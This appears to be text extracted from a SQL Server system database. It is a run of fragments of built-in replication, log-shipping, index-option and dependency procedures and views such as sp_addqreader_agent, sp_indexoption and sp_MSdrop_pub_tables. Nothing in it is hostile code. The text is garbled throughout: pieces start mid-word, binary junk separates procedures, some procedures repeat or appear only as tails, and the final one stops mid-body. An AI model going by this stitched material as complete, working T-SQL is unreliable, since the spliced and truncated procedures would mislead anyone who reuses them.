		--
		-- return
		--
		return @retcode
	end

    --
    -- If we are here - this SP is being executed on distributor
    --

	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addqreader_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addqreader_agent')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addqreader_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addqreader_agent')
			RETURN 1
		END
	END

	IF @job_name IS NULL
	BEGIN
		EXECUTE @retcode = sys.sp_MSreplagentjobexists @exists = @qreader_exists output,
													@type = 4
		IF @@ERROR <> 0 or @retcode <> 0
			RETURN 1

		IF @qreader_exists = 1
		BEGIN
			-- "The %s already exists. Use '%' to update any settings/properties."
			RAISERROR(21831, 16, -1, 'qreader agent', 'sp_changeqreader_agent')
			RETURN 1
		END
	END

	BEGIN TRANSACTION tr_addqreader_agent
	SAVE TRANSACTION tr_addqreader_agent
	
	EXECUTE @retcode = sys.sp_MSadd_qreader_agent @job_login = @job_login,
													@job_password = @job_password,
													@name = @job_name,
													@internal = N'YUKON'
													
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	-- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @job_name IS NOT NULL
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			EXECUTE @retcode = sys.sp_changeqreader_agent @job_login = @job_login,
															@job_password = @job_password,
															@frompublisher = @frompublisher
			IF @@ERROR <> 0 or @retcode <> 0
				GOTO UNDO
		END
	END

	COMMIT TRANSACTION tr_addqreader_agent
	
	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_addqreader_agent
	COMMIT TRANSACTION 

	RETURN 1
END
ription_seqno)

        insert into #dist_trans values (@subscriber_id, @undelivered_commands,
            @delivered_commands, @delivery_rate, @delivery_latency)
        
        fetch hc into  @agent_id
    end

    close hc
    deallocate hc

    select 'subscriber' = srvname, 
            'delivered commands' = sum(delivered_commands),
            'undelivered_commands' = sum(undelivered_commands),
            'delivery_rate' = sum(delivery_rate),
            'delivery_latency' = (select isnull(avg(delivery_latency), 0) from #dist_trans, master.dbo.sysservers where
                srvname = s1.srvname and delivery_latency > 0)
        from #dist_trans, master.dbo.sysservers s1
        where subscriber_id = srvid
        group by srvname

    drop table #dist_trans
end        
lect @subdirectory = replace(@subdirectory, N'.', N'')
    if(right(@directory, 1) = N'\')
        select @directory = @directory + @subdirectory
    else
        select @directory = @directory + N'\' + @subdirectory
    --
    -- create the directory and copy the scriptfile on distributor
    --
    select @distproc = quotename(@dist_rpcname) + N'.' + quotename(@distribdb) + N'.dbo.sp_MSreplcopyscriptfile'
    exec @retcode = @distproc @directory = @directory, @scriptfile = @scriptfile
    if @@error<>0 or @retcode<>0 
        return 1
    --
    -- Prepare command, to be posted to log
    --
    select @filename = right(@scriptfile, charindex(N'\', reverse(@scriptfile)))
    if(left(@filename, 1) = N'\')   
        select @cmd = @directory + @filename
    else
        select @cmd = @directory + N'\' + @filename
    --
    -- all done
    --
    return 0
end
``<ZHC;0p 8CREATE VIEW sys.sql_expression_dependencies$ AS
	SELECT
		dp.depid AS referencing_id,
		0 as referencing_minor_id,
		dp.depclass AS referencing_class,
		i.name AS referencing_class_desc,
		s.name as referencing_schema_name,
		o2.name as referencing_entity_name,
		sysconv(bit, 0) AS is_schema_bound_reference,
		dp.indepclass AS referenced_class,
		i2.name AS referenced_class_desc,
		dp.indepserver AS referenced_server_name,
		dp.indepdb AS referenced_database_name,
		dp.indepschema AS referenced_schema_name,
		dp.indepname AS referenced_entity_name,
		Entity_Id(dp.indepserver, dp.indepdb, dp.indepschema, dp.indepname, dp.indepclass, sysconv(bit, dp.status & 1), dp.depid) AS referenced_id,
		0 as referenced_minor_id,
		NULL as referenced_minor_name,
		sysconv(bit, dp.status & 1) AS is_caller_dependent,
		sysconv(bit, dp.status & 4) AS is_ambiguous,
		sysconv(bit, 0) AS is_selected,
		sysconv(bit, 0) AS is_updated,
		sysconv(bit, 0) AS is_select_all
	FROM sys.syssoftobjrefs dp 
		LEFT JOIN sys.syspalvalues i ON i.class = 'UNCL' AND i.value = dp.depclass
		LEFT JOIN sys.syspalvalues i2 ON i2.class = 'UNCL' AND i2.value = dp.indepclass
		LEFT JOIN sys.sysschobjs o2 ON o2.id = dp.depid AND ((o2.nsclass = 0 AND o2.pclass = 1) OR o2.type IN ('TA','TR')) -- x_eonc_Standard:x_eunc_Object
		LEFT JOIN sys.sysclsobjs s ON s.id = o2.nsid AND s.class = 50	-- SOC_SCHEMA
	UNION ALL 		-- Can be a union all because we only store non-schema-bound dependencies in syssoftobjrefs and we select only schema bound dependencies 
					-- from sysmultiobjrefs.
	SELECT
		dp.depid AS referencing_id,
		dp.depsubid as referencing_minor_id,
		sysconv(tinyint, CASE WHEN dp.class = 5 AND (dp.status & 8)=0 THEN 7 WHEN dp.class = 5 THEN 9 ELSE 1 END) AS referencing_class,
		i2.name AS referencing_class_desc,
		s.name as referencing_schema_name,
		o2.name as referencing_entity_name,
		sysconv(bit, 1) AS is_schema_bound_reference,
		sysconv(tinyint, CASE dp.class WHEN 1 THEN 1 WHEN 2 THEN 6 WHEN 3 THEN 10 WHEN 4 THEN 21 WHEN 5 THEN 1 END) AS referenced_class,
		i.name AS referenced_class_desc,
		NULL AS referenced_server_name,
		NULL AS referenced_database_name,
		CASE dp.class WHEN 1 THEN SCHEMA_NAME(o.nsid) WHEN 2 THEN SCHEMA_NAME(t.schid) WHEN 3 THEN SCHEMA_NAME(x.nsid) WHEN 4 THEN NULL WHEN 5 THEN SCHEMA_NAME(o.nsid) END AS referenced_schema_name,
		CASE dp.class WHEN 1 THEN o.name WHEN 2 THEN t.name WHEN 3 THEN x.name WHEN 4 THEN pf.name WHEN 5 THEN o.name END AS referenced_entity_name,
		dp.indepid AS referenced_id,
		dp.indepsubid as referenced_minor_id,
		c.name as referenced_minor_name,
		sysconv(bit, 0) AS is_caller_dependent,
		sysconv(bit, 0) AS is_ambiguous,
		sysconv(bit, dp.status & 4) AS is_selected,
		sysconv(bit, dp.status & 2) AS is_updated,
		sysconv(bit, dp.status & 1) AS is_select_all
	FROM sys.sysmultiobjrefs dp -- LEFT join with base sys tables instead of metadata views to bypass has_access check, according to security spec
		LEFT JOIN sys.sysschobjs o ON o.id = dp.indepid AND o.nsclass = 0 AND o.pclass = 1 -- x_eonc_Standard:x_eunc_Object
		LEFT JOIN sys.sysscalartypes t ON t.id = dp.indepid
		LEFT JOIN sys.sysnsobjs x ON x.id = dp.indepid AND x.class = 27	-- SOC_XSDCOLLECTION
		LEFT JOIN sys.sysclsobjs pf ON pf.id = dp.indepid AND pf.class = 30
		LEFT JOIN sys.syspalvalues i ON i.class = 'UNCL' AND i.value = CASE dp.class WHEN 1 THEN 1 WHEN 2 THEN 6 WHEN 3 THEN 10 WHEN 4 THEN 21 WHEN 5 THEN 1 END
		LEFT JOIN sys.syspalvalues i2 ON i2.class = 'UNCL' AND i2.value = CASE WHEN dp.class = 5 AND (dp.status & 8)=0 THEN 7 WHEN dp.class = 5 THEN 9 ELSE 1 END
		LEFT JOIN sys.sysschobjs o2 ON o2.id = dp.depid AND ((o2.nsclass = 0 AND o2.pclass = 1) OR o2.type IN ('TA','TR')) -- x_eonc_Standard:x_eunc_Object
		LEFT JOIN sys.sysclsobjs s ON s.id = o2.nsid AND s.class = 50	-- SOC_SCHEMA
		LEFT JOIN sys.syscolpars c ON c.number = 0 AND c.id = dp.indepid AND c.colid = dp.indepsubid
	WHERE dp.class >= 1 AND dp.class <= 5 -- MRC_EXPRTOOBJ,MRC_EXPRTOTYPE,MRC_EXPRTOXMLNS,MRC_EXPRTOPRTFUNC, MRC_EXPRFILTERTOOBJ -- Gaurentees we are only selecting schema bound dependencies
		AND o2.type <> 'IT' -- filter out internal table dependencies, such as those for filtered indexes on internal tables
0oi+ 8--
-- Name: 
--	sp_MSreplopensymmetrickey
-- 
-- Description: 
--	Opens the replication symmetric keys if available
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this procedure is not public.
--
CREATE PROCEDURE sys.sp_MSreplopensymmetrickey
AS
BEGIN
	DECLARE @retcode int
	
	IF NOT EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = '##MS_DatabaseMasterKey##')
	BEGIN
		RETURN 0
	END
	
	IF NOT EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = 'SQLSERVER_REPLICATION')
	BEGIN
		EXEC @retcode = sys.sp_MSaddreplsymmetrickey
		IF @@ERROR <> 0 OR @retcode <> 0 RETURN 1
	END
	
	OPEN SYMMETRIC KEY SQLSERVER_REPLICATION DECRYPTION BY CERTIFICATE SQLSERVER_REPLICATION
	IF @@ERROR <> 0 RETURN 1

	RETURN 0
END
0-@ k8
CREATE PROCEDURE sys.sp_MSsetlastrecgen
    (@repid uniqueidentifier, @srcgen bigint, @srcguid uniqueidentifier)
as
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode    int

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    if (@repid is null)
    begin
        RAISERROR(14043, 16, -1, '@repid', 'sp_MSsetlastrecgen')
        return (1)
    end
    if (@srcgen is null)
    begin
        RAISERROR(14043, 16, -1, '@srcgen', 'sp_MSsetlastrecgen')
        return (1)
    end
    if (@srcguid is null)
    begin
        RAISERROR(14043, 16, -1, '@srcguid', 'sp_MSsetlastrecgen')
        return (1)
    end
    if object_id('MSmerge_contents') is NULL and
       object_id('MSmerge_rowtrack') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    update dbo.sysmergesubscriptions set recgen = @srcgen, recguid = @srcguid 
        where subid = @repid
    IF @@ERROR <>0 return (1) 
   
    return (0)

0 T8create procedure sys.sp_MSdrop_tempgenhistorytable
    @pubid uniqueidentifier
as

    declare @retcode int
    declare @qual_temp_genhistory_table sysname
    declare @guidstr varchar(100)
    declare @cmd nvarchar(4000)
    declare @objid sysname

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    select @guidstr = sys.fn_MSguidtostr(@pubid)

    select @qual_temp_genhistory_table = 'dbo.MSmerge_genhistory_' + LOWER(@guidstr)

    -- check for system object is done while creating the table, not necessary here.
    -- passive drop, don't worry about the failure
    exec ('if object_id(''' + @qual_temp_genhistory_table + ''') is not null  drop table ' + @qual_temp_genhistory_table)    
    return (0)
- Description: 
--	Opens the replication symmetric keys if available
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this procedure is not public.
--
CREATE PROCEDURE sys.sp_MSreplopensymmetrickey
AS
BEGIN
	DECLARE @retcode int
	
	IF NOT EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = '##MS_DatabaseMasterKey##')
	BEGIN
		RETURN 0
	END
	
	IF NOT EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = 'SQLSERVER_REPLICATION')
	BEGIN
		EXEC @retcode = sys.sp_MSaddreplsymmetrickey
		IF @@ERROR <> 0 OR @retcode <> 0 RETURN 1
	END
	
	OPEN SYMMETRIC KEY SQLSERVER_REPLICATION DECRYPTION BY CERTIFICATE SQLSERVER_REPLICATION
	IF @@ERROR <> 0 RETURN 1

	RETURN 0
END
#HHJ`d		<
U$0B o8create procedure sys.sp_indexoption
    @IndexNamePattern      nvarchar(1035)
   ,@OptionName            varchar(35)
   ,@OptionValue           varchar(12)
as
	-- declare VARIABLES
	declare @tabid			int
			,@indid			int
			,@tablename		nvarchar(776)
			,@indexname		sysname
			,@allow			bit		-- allow option or not
			,@norowlock		bit		-- row lock option
			,@nopagelock	bit		-- page lock option

    declare @execstring nvarchar (4000)

    -- DISALLOW USER TRANSACTION --
	set nocount on
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_indexoption')
		return @@error
	end

	-- VALIDATE OPTION VALUE
	select @allow =	(case
		when (lower(@OptionValue) in ('1' ,'on' ,'yes' ,'true')) then 1
		when (lower(@OptionValue) in ('0' ,'off' ,'no' ,'false')) then 0
		end)

	-- CONVERT PARAM TO DISALLOW_*, then VALIDATE OPTION NAME
	select @OptionName = lower(@OptionName collate Latin1_General_CI_AS)
	if @OptionName in ('allowrowlocks','allowpagelocks')
		select	@OptionName = 'dis'+@OptionName,
				@allow = 1-@allow
	select	@norowlock = case @OptionName when 'disallowrowlocks' then @allow end,
			@nopagelock = case @OptionName when 'disallowpagelocks' then @allow end

	-- ERROR if INVALID OPTION NAME OR VALUE
	if @allow is null OR (@norowlock is null AND @nopagelock is null) 
	begin
		raiserror(15600,-1,-1, 'sys.sp_indexoption')
		return @@error
	end

	BEGIN TRANSACTION
	-- FIRST CHECK IF GIVEN AN TABLE NAME --
	select @tabid = object_id(@IndexNamePattern, 'U')
	if @tabid is null
	begin
		-- NOW SEE IF WE HAVE TABLE.INDEX NAME, AND RESOLVE --
		select @tablename =
				IsNull(QuoteName(parsename(@IndexNamePattern, 4),'[')+'.','.') +
				IsNull(QuoteName(parsename(@IndexNamePattern, 3),'[')+'.','.') +
				IsNull(QuoteName(parsename(@IndexNamePattern, 2),'['),'')
		select @indexname = parsename(@IndexNamePattern, 1)
		select @tabid = object_id(@tablename, 'U')
	end
	else
		select @tablename = 
				IsNull(QuoteName(parsename(@IndexNamePattern, 3),'[')+'.','.') +
				IsNull(QuoteName(parsename(@IndexNamePattern, 2),'[')+'.','.') +
				IsNull(QuoteName(parsename(@IndexNamePattern, 1),'['),''),
				@indid = 0	-- indicate all-indexes-for-table

	-- LOCK TABLE, CHECK PERMISSIONS
	if not (@tabid is null)
	begin
		-- Return a useful error message if the user tries to use
		-- xml indexes since they are not supported
		if exists (select index_id from sys.xml_indexes
					where (name = @indexname or @indexname is null)
						 and object_id = @tabid)
		begin
			if @indexname is not null 
			begin
				ROLLBACK TRANSACTION
				raiserror(15389,-1,-1)
				return @@error
			end
			else
			begin
				ROLLBACK TRANSACTION
				raiserror(15391,-1,-1)
				return @@error
			end
		end


		-- Return a useful error message if the user tries to use
		-- spatial indexes since they are not supported
		if exists (select index_id from sys.spatial_indexes
					where (name = @indexname or @indexname is null)
						 and object_id = @tabid)
		begin
			if @indexname is not null 
			begin
				ROLLBACK TRANSACTION
				raiserror(15389,-1,-1)
				return @@error
			end
			else
			begin
				ROLLBACK TRANSACTION
				raiserror(15391,-1,-1)
				return @@error
			end
		end


		EXEC %%Object(MultiName = @tablename).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
		if @@error <> 0
			select @tabid = null
		else
			if @indid is null	-- no all-indexes-for-table
			begin
				select @indid = IndexProperty(@tabid, @indexname, 'IndexId')
				if @indid IN (0,255)
					select @indid = null
			end
	end

	-- WE KNOW NOW IF WE HAVE A VALID TABLE --
	if (@tabid is null) OR (@indid is null)
	begin
		ROLLBACK TRANSACTION
		raiserror(15388,-1,-1,@IndexNamePattern)
		return @@error
	end


	if @indid = 0	-- all-indexes
	    select @execstring = 'ALTER INDEX ALL ON '
    	       + @tablename;
	else
	    select @execstring = 'ALTER INDEX ' + quotename(@indexname) + ' ON '
    	       + @tablename;

	select @execstring = @execstring + ' SET ( '
	
	if @norowlock is not null
	begin
		select @execstring = @execstring + 'ALLOW_ROW_LOCKS = '
		if @norowlock = 1
			select @execstring = @execstring + 'OFF'
		else
			select @execstring = @execstring + 'ON'
	end

	if @nopagelock is not null
	begin
		select @execstring = @execstring + 'ALLOW_PAGE_LOCKS = '
		if @nopagelock = 1
			select @execstring = @execstring + 'OFF'
		else	
			select @execstring = @execstring + 'ON'
	end

	select @execstring = @execstring + ')'

	EXEC (@execstring)

	COMMIT TRANSACTION

	return 0 -- sp_indexoption
0C@ 8create procedure sys.sp_MSscript_trigger_fetch_statement (
    @objid   int
    ,@op_type char(3) = 'ins'
    ,@indent   int = 0
    ,@fisqueued bit
)
as
BEGIN
    declare @cmd          nvarchar(4000)

    -- script fetch statements
    if @op_type in ('ins', 'upd')
    begin
        exec sys.sp_MSpad_command @cmd output, @indent
        select @cmd = @cmd + N'fetch next from rpl_ins_cursor into 
'
        exec sys.sp_MSflush_command @cmd output, 1, @indent
        exec sys.sp_MSscript_trigger_variables @objid, '@', null, @indent, ' '
    end
    if (@fisqueued = 0)
    begin
        --
        -- Immediate insert trigger - cache the inserted values for identity operation
        --
        if @op_type in ('ins')
        begin
            exec sys.sp_MSpad_command @cmd output, @indent
            select @cmd = @cmd + N'fetch next from rpl_ins2_cursor into 
'
            exec sys.sp_MSflush_command @cmd output, 1, @indent
            exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @indent, ' '
        end
    end
    if @op_type in ('upd', 'del')
    begin
        exec sys.sp_MSpad_command @cmd output, @indent
        select @cmd = @cmd + N'fetch next from rpl_del_cursor into 
'
        exec sys.sp_MSflush_command @cmd output, 1, @indent
        exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @indent, ' '
    end
END
0
 8CREATE FUNCTION sys.fn_MSsharedversion ( @len_minorversion tinyint = 1 )
    RETURNS NVARCHAR(10)
AS
BEGIN
    
    DECLARE @version VARCHAR(20), @bookmark_begin SMALLINT, @bookmark_end SMALLINT
    DECLARE @tools_ver VARCHAR(20)

    SELECT @version = CONVERT( VARCHAR(20), SERVERPROPERTY( N'PRODUCTVERSION') )
 
     SELECT @bookmark_begin = CHARINDEX( '-', @version, 1) + 1
    SELECT @bookmark_end = CHARINDEX( '.', @version, @bookmark_begin + 3 ) 
    SELECT @version = SUBSTRING( @version, @bookmark_begin, @bookmark_end - @bookmark_begin )

    SELECT @tools_ver = RTRIM(LTRIM(LEFT( @version, CHARINDEX('.', @version, 1) - 1 ) + '0'))

    RETURN @tools_ver

END
0 D88h){#05 8create function sys.fn_MSarticle_has_downloadonly_property(@tablenick int)
        returns bit
as
begin
    declare @downloadonly bit
    
    if exists (select top 1 artid from dbo.sysmergearticles where 
                                    nickname = @tablenick and
                                    (upload_options = 1 or upload_options = 2))
    begin
        set @downloadonly= 1
    end
    else
        set @downloadonly= 0

    return @downloadonly
end
command @cmd output, 1, @indent
            exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @indent, ' '
        end
    end
    if @op_type in ('upd', 'del')
    begin
        exec sys.sp_MSpad_command @cmd output, @indent
        select @cmd = @cmd + N'fetch next from rpl_del_cursor into 
'
        exec sys.sp_MSflush_command @cmd output, 1, @indent
        exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @indent, ' '
    end
END
<`&<l)E0co 8CREATE VIEW sys.dm_audit_class_type_map AS
	SELECT reverse(convert(char(2), convert(binary(2), class_type))) as [class_type],
		(SELECT spt.name 
			from master.dbo.spt_values spt where spt.type='EOD' AND spt.number = CONVERT(smallint, cl.class_type)) as [class_type_desc],
		(SELECT spt.name 
			from master.dbo.spt_values spt where spt.type='EOD' AND spt.number = CONVERT(smallint, cl.securable_class_id)) as [securable_class_desc]
	FROM OpenRowset(TABLE DM_AUDIT_CLASS_TYPE_MAP) cl
0W 8CREATE FUNCTION sys.dm_logpoolmgr_stats
	(
	@DatabaseId Int = 0
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOLMGR_STATS, @DatabaseId)
0FȾ@ 8create procedure sys.sp_MSreplcheck_subscribe_withddladmin
as
begin
    --
    -- Only the System Administratr (SA) or the Database Owner (dbo) 
    -- can subscribe from the subscribing database.
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if  is_srvrolemember('sysadmin') = 1 or is_member ('db_owner') = 1         
        or is_member ('db_ddladmin') = 1
    begin
        return (0)
    end
    else
    begin
        raiserror (21551, 14, -1)
        return (1)
    end
end
0@ 8create procedure sys.sp_startmergepushsubscription_agent
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    declare @retcode int
    declare @start tinyint
    set @retcode = 0
    set @start = 0

    exec @retcode = sys.sp_MSmergepushsubscriptionagentjobcontrol
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @start
    return @retcode
end
0 8create procedure sys.sp_MSdrop_pub_tables
AS
    DECLARE @retcode int
    
    begin tran
    save TRAN sp_drop_central_pub_tables
   
    /* drop 'sysarticles' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name= N'sysarticles'
		AND	ObjectProperty(object_id('sysarticles'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE sysarticles
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    /* drop 'sysschemaarticles' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysschemaarticles'
		AND	ObjectProperty(object_id('sysschemaarticles'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE sysschemaarticles
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    /* drop 'sysextendedarticlesview' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysextendedarticlesview'
		AND	ObjectProperty(object_id('sysextendedarticlesview'), 'IsView') = 1
	)
    BEGIN
        DROP VIEW sysextendedarticlesview
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END


    /* drop 'syspublications' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'syspublications'
		AND	ObjectProperty(object_id('syspublications'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE syspublications
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    /* drop 'syssubscriptions' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'syssubscriptions'
		AND	ObjectProperty(object_id('syssubscriptions'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE syssubscriptions
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

	-- --------------------
    -- SyncTran
	-- --------------------

    /* drop 'sysarticleupdates' */
    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysarticleupdates'
		AND	ObjectProperty(object_id('sysarticleupdates'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE sysarticleupdates
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'MSpub_identity_range'
		AND	ObjectProperty(object_id('MSpub_identity_range'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE MSpub_identity_range
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END

	-- --------------------
    -- end SyncTran
	-- --------------------

    IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'systranschemas'
		AND	ObjectProperty(object_id('systranschemas'), 'IsTable') = 1
	)
	and not exists(select * from sys.databases where db_id() = database_id and is_cdc_enabled = 1)
    BEGIN
        DROP TABLE dbo.systranschemas
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END
	IF EXISTS
	(
		SELECT	*
		FROM	sys.objects
		WHERE	name = N'sysarticlecolumns'
		AND	ObjectProperty(object_id('sysarticlecolumns'), 'IsTable') = 1
	)
    BEGIN
        DROP TABLE dbo.sysarticlecolumns
        IF @@ERROR <> 0
        BEGIN
            goto ERROR
        END
    END


   	
	-- --------------------
    -- BEGIN Peer2Peer
	-- --------------------
	-- Allow drop of tables if this database  
	-- is not a subscriber database as well
	IF OBJECT_ID('MSreplication_subscriptions', 'U') IS NULL
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_peertopeer_tables
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
            goto ERROR
		END
	END
	
	EXEC @retcode = sys.sp_MSrepl_ddl_triggers @type='tran', @mode='drop'
	IF @@ERROR <> 0 or @retcode <> 0
	BEGIN
            goto ERROR
	END
    COMMIT TRAN
    return 0
    
ERROR:
    if @@trancount > 0
    begin
        ROLLBACK TRAN sp_drop_central_pub_tables
        commit tran
    end
    RETURN(1)
0@ 8create procedure sys.sp_delete_log_shipping_secondary_database
(
    @secondary_database sysname -- cannot be NULL
    ,@ignoreremotemonitor bit = 0
)
as
begin
    set nocount on
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- call internal SP
    --
    exec @retcode = sys.sp_delete_log_shipping_secondary_database_internal
                                    @secondary_database = @secondary_database
                                    ,@ignoreremotemonitor = @ignoreremotemonitor
                                    ,@overwrite = 0
    return @retcode
end

	end

    /* always bump UP, not Down in any case */
    if object_id('dbo.sysmergepublications', 'U') is not null
    begin
        update dbo.sysmergepublications 
            set backward_comp_level= @new_level 
            where pubid=@pubid and backward_comp_level < @new_level
    end
    if @@ERROR<>0 return (1)

    return (0)
0@ 8create procedure sys.sp_startmergepushsubscription_agent
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname
)
as
begin
    declare @retcode int
    declare @start tinyint
    set @retcode = 0
    set @start = 0

    exec @retcode = sys.sp_MSmergepushsubscriptionagentjobcontrol
        @publication = @publication,
        @subscriber = @subscriber,
        @subscriber_db = @subscriber_db,
        @action = @start
    return @retcode
end
)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOLMGR_STATS, @DatabaseId)
0 8create view sys.dm_os_server_diagnostics_log_configurations
as
	select *
	from OpenRowset(TABLE DIAGLOG_CONFIGS)
l<-l0`M'<oo{k0 /8create procedure sys.sp_unbindefault --- 1996/08/13 13:34
	@objname nvarchar(776),			-- table/column or datatype name
	@futureonly varchar(15) = NULL  -- flag to indicate extent of binding
as
	declare @futurevalue varchar(15)	-- the value of @futureonly that causes
										--  the binding to be limited

	declare
		@vc1			nvarchar(517)
	declare
		@tab_id			int
		,@col_id		int
		,@colname		sysname
		,@cur_default	int
		,@xusertype		int
		,@schid			int

		,@UnqualObj		sysname
		,@QualObj1		sysname
		,@QualObj2		sysname
		,@QualObj3		sysname

	set cursor_close_on_commit	off
	select @futurevalue = 'futureonly'  -- initialize @futurevalue

	-- When a default or rule is bound to a user-defined datatype, it is also
	--  bound, by default, to any columns of the user datatype that are currently
	--  using the existing default or rule as their default or rule.  This default
	--  action may be overridden by setting @futureonly = @futurevalue when the
	--  procedure is invoked.  In this case existing columns with the user
	--  datatype won't have their existing default or rule changed.

	-- get name parts --
	select @UnqualObj = parsename(@objname, 1),
			@QualObj1 = parsename(@objname, 2),
			@QualObj2 = parsename(@objname, 3),
			@QualObj3 = parsename(@objname, 4)

	if (@UnqualObj is null OR @QualObj3 is not null)
	begin
		raiserror(15253,-1,-1,@objname)
		return (1)
	end

	------------------  Verify database.
	if (@QualObj2 is not null and @QualObj1 is null)
	begin
		raiserror(15084,-1,-1)
		return (1)
	end

	-- Try to resolve column first. We need to extract
	--  and verify the table and column names and make sure the user owns
	--  the table that is getting the default unbound.
	if @QualObj1 is not null
	begin
		if (@QualObj2 is not null)
			select @vc1 = QuoteName(@QualObj2) + '.' + QuoteName(@QualObj1)
		else
			select @vc1 = QuoteName(@QualObj1)

		-- Find it and unbind it.
		select @tab_id = c.object_id, @cur_default = c.default_object_id
			from sys.columns c join sys.tables o
				on c.object_id = o.object_id
			where c.name = @UnqualObj
				and o.object_id = object_id(@vc1,'local')
		if @tab_id is not null
		begin

			if @cur_default = 0
			begin
				raiserror(15236,-1,-1,@objname)
				return(1)
			end

			if exists
			(select	*
				from	sys.objects o
				where	@cur_default	= o.object_id
					and	@tab_id		= o.parent_object_id)
				begin
					raiserror(15049,-1,-1, @objname)
					return (1)
				end

			BEGIN TRANSACTION

			-- Since binding a default is a schema change,
			--  update schema count for the object in the sysobjects table.
			EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @tab_id, Exclusive = 1, BindInternal = 0)

			-- Check again that table and column exist
			if @@error = 0
				select @col_id = column_id
					from sys.columns
					where object_id = @tab_id
						and name = @UnqualObj
			if @col_id is null
			begin
				COMMIT TRANSACTION
